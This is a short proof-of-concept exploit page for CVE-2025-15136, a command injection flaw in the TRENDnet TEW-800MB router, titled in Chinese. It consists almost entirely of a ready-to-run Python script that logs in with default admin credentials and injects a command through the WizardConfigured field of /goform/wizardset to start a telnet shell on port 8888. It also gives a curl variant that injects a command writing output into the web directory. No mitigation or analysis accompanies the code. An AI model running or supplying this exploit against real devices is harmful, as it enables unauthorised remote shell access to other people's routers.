CVE-2025-15136 TRENDnet TEW-800MB 设备命令注入漏洞

import requests # CVE-2025-15136 PoC - TRENDnet TEW-800MB Command Injection # Target: TRENDnet TEW-800MB 1.0.1.0 # Endpoint: /goform/wizardset # Parameter: WizardConfigured target_ip = "192.168.10.1" # Router IP address target_port = 80 # Authentication required (low privilege user) # Default credentials: admin/admin or admin/password username = "admin" password = "admin" # Construct the malicious payload # Inject command to create a reverse shell or execute arbitrary command # Using semicolon to chain commands injected_command = ";telnetd -p 8888 -l /bin/sh;" # Start telnet server on port 8888 payload = { "WizardConfigured": injected_command, "submit-url": "/wizardset.asp", } # Login to the router session = requests.Session() login_url = f"http://{target_ip}:{target_port}/login.cgi" login_data = { "username": username, "password": password, } try: # Attempt login resp = session.post(login_url, data=login_data, timeout=10) print(f"Login response status: {resp.status_code}") # Send exploit payload exploit_url = f"http://{target_ip}:{target_port}/goform/wizardset" resp = session.post(exploit_url, data=payload, timeout=10) print(f"Exploit sent. Response status: {resp.status_code}") print(f"Target may now have telnet service running on port 8888") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Alternative: Use curl command # curl -X POST -d "WizardConfigured=;ls -la>../../../www/cmd_output.txt" \ # -u admin:admin http://<target_ip>/goform/wizardset